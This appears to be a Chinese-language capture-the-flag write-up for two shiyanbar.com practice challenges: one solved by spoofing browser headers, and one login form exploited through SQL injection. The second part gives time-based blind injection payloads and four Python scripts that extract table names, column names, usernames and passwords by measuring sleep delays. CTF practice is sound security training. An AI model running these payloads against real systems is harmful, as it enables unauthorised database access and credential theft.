Please make sure you have installed .net framework 9.9!
Make sure you are in the region of England and browsing this site with Internet Explorer
三个要求:安装.net framework 9.9,区域是英国,使用ie访问.
使用ie访问,修改user-agent头为Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko
区域是英国,修改Accept-Language 为,en-gb划重点,这里我本来修改为en-GB,并不能得到flag,gb必须小写.
安装. net framework 9.9,就是在user-agent头的小括号内添加一句.NET CLR 9.9,最后user-agent就是Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0;.NET CLR 9.9) like Gecko
总结就是安装. net framework 9.9,就是在user-agent头的小括号内添加一句.NET CLR 9.9,并且en-gb的gb要求小写(en-GB在一些题里可能是可以识别的.)
切,你那水平也就这么点了,这都是什么题啊!!!
解题链接: http://ctf5.shiyanbar.com/basic/inject
sql注入题,粗心没做出来也是很遗憾。
两个输入框进行了一遍fuzzing测试,user框过滤了select,pass框什么都没过滤.
没有回显,报错也是固定格式.那就只能布尔或时间盲注.其实用1' or sleep(3) and ''='就会发现存在延时.要想办法绕过对select的过滤才行,不然就只能用substr(database(),start,length)得到数据库名,表名列名得不到.
于是,SELECT,SEselectlect,seSELEctleCT,/*!select*/,甚至\Nselect,E0select,都是弹出"sql注入攻击",那就很绝望.
其实我是察觉到题里的提示的,
响应页面有一行用来输出你输入的用户名,你输入/*!select*/,/*!SELECT*/,虽然都弹出"sql注入攻击",但
响应中一个是/*!*/,一个是/*!SELECT*/,如下图所示:
这表明SELECT是没被替换成空的,换句话说,SELECT很可能是有作用的,但我接下来是使用布尔盲注证明SELECt是有作用的,
就是假设SELECT没被过滤,照常用布尔盲注,输出响应长度,期待会有一个不同的长度输出,结果有了好几个不同的长度输出,
我的耐心被消磨殆尽.事实证明,此时应该用时间盲注来证明SELECT是有用的.基于布尔去判断,它输出几个不同的
长度,头都大了.基于时间盲注就更好,1' or (SELECT case when 1 then sleep(3) else sleep(0) end) and 'a'='a,SELECT如果有用,会直接延时.
1' or if(1,sleep(3),sleep(0)) and ''='会延时三秒.那就直接假设SELECT是有用的进行基于时间的盲注.
事实证明确实如此,SELECT是有用的.
报表名:
import requests
#url,range,id,data
def payload(rawstr):
pass
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@'
for i in range(1,20):
for j in dic:
url = r"http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if(ord((SELECT mid(group_concat(table_name separator '@') from {0} for 1) from information_schema.tables where table_schema=database() limit 1))={1},sleep(6),sleep(0)) or '1'='&pass=2&action=login".format(i,ord(j))
s=requests.get(url)
#content=s.content
# length=len(content)
# print(content.decode('GB2312'))
#print(j)
# print(length)
sec=s.elapsed.seconds
if sec > 6:
string+=j
break
print (string)
报列名:
import requests
#url,range,id,data
def payload(rawstr):
pass
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz{}()`~!#$%^&*-=_+{}[];\',./:"?>*-+.@'
for i in range(1,20):
for j in dic:
url = r"http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if(ord((SELECT mid(group_concat(column_name separator '@') from {0} for 1) from information_schema.columns where table_name = 'admin' limit 1))={1},sleep(6),sleep(0)) or '1'='&pass=2&action=login".format(i,ord(j))
s=requests.get(url)
#content=s.content
# length=len(content)
# print(content.decode('GB2312'))
print(j)
# print(length)
sec=s.elapsed.seconds
if sec > 6:
string+=j
break
print (string)
得到username和password列分别报内容:
import requests
#url,range,id,data
def payload(rawstr):
pass
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz{}()`~!#$%^&*-=_+{}[];\',./:"?>*-+.@'
for i in range(1,20):
for j in dic:
url = r"http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if(ord((SELECT mid(group_concat(username separator '@') from {0} for 1) from admin limit 1))={1},sleep(10),sleep(0)) or '1'='&pass=2&action=login".format(i,ord(j))
s=requests.get(url)
#content=s.content
# length=len(content)
# print(content.decode('GB2312'))
# print(length)
sec=s.elapsed.seconds
if sec > 10:
string+=j
break
print (string)
import requests
#url,range,id,data
def payload(rawstr):
pass
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz{}()`~!#$%^&*-=_+{}[];\',./:"?>*-+.@'
for i in range(1,20):
for j in dic:
url = r"http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if(ord((SELECT mid(group_concat(password separator '@') from {0} for 1) from admin limit 1))={1},sleep(10),sleep(0)) or '1'='&pass=2&action=login".format(i,ord(j))
s=requests.get(url)
#content=s.content
# length=len(content)
# print(content.decode('GB2312'))
# print(length)
sec=s.elapsed.seconds
if sec > 10:
string+=j
break
print (string)